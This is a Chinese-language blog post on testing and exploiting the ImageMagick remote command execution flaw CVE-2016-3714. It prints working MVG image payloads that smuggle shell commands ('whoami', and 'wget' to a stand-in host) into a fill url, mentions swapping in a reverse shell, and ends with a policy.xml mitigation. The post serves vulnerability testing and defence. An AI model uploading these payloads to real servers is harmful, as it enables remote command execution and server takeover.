ImageMagick命令执行漏洞(CVE-2016–3714)利用及测试

 

 

 

  ImageMagick命令执行漏洞(CVE-2016–3714)

5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而导致攻击者控制服务器。

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。

著名的开源应用wordpress已经受此漏洞的影响,攻击者有上传图片的权限,就能直接获取wordpress应用服务器的管理权限。具体的测试方法参考

建议业务开发检查自身的web网站,如有使用ImageMagick进行图片处理、渲染,可以按照下文中的方法进行测试,重点检查头像上传、图片上传等功能。

具体的攻击代码如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|whoami")'
pop graphic-context

只需要将以上内容保存成1.jpg,上传到存在漏洞的服务器,就可以执行whoami命令。

可以在centos下安装ImageMagick,用其convert命令才测试,安装:

yum install -y ImageMagick ImageMagick-devel

测试如图:

可以使用cloudeye来进行漏洞的检测,代码如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://www.xxx.cn/test.txt")'
pop graphic-context

将以上内容保存成图片,上传到漏洞服务器,查看nxadmin.com的web日志,就可以确认是否存在此漏洞。

还可以直接反弹shell,修改命令即可,某站好像都被人玩坏了,修复速度略慢!关于漏洞的分析等方法参考老外的文章:

https://imagetragick.com/?from=timeline&isappinstalled=0&nsukey=b9PCChGjiQewRcBbKUWT%2FOoOgM2gsGA0Iw6%2FLku0qu9OLNgCD%2BVoc%2FeoqJV6abn85X6fi9bRA2VY7fa1XkNFKg%3D%3D

http://pastebin.com/aE4sKnCg

还有redrain大师傅的文章:

http://card.weibo.com/article/h5/s#cid=1001603971443670055277&vid=1775514755&extparam=&from=&wm=0&ip=65.255.33.53

wordpress的漏洞利用方法参考如下文章:

http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462421840979

防护建议(by imagetragick.com)

使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:

<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>

原文地址:https://www.cnblogs.com/ywffoo/p/5709695.html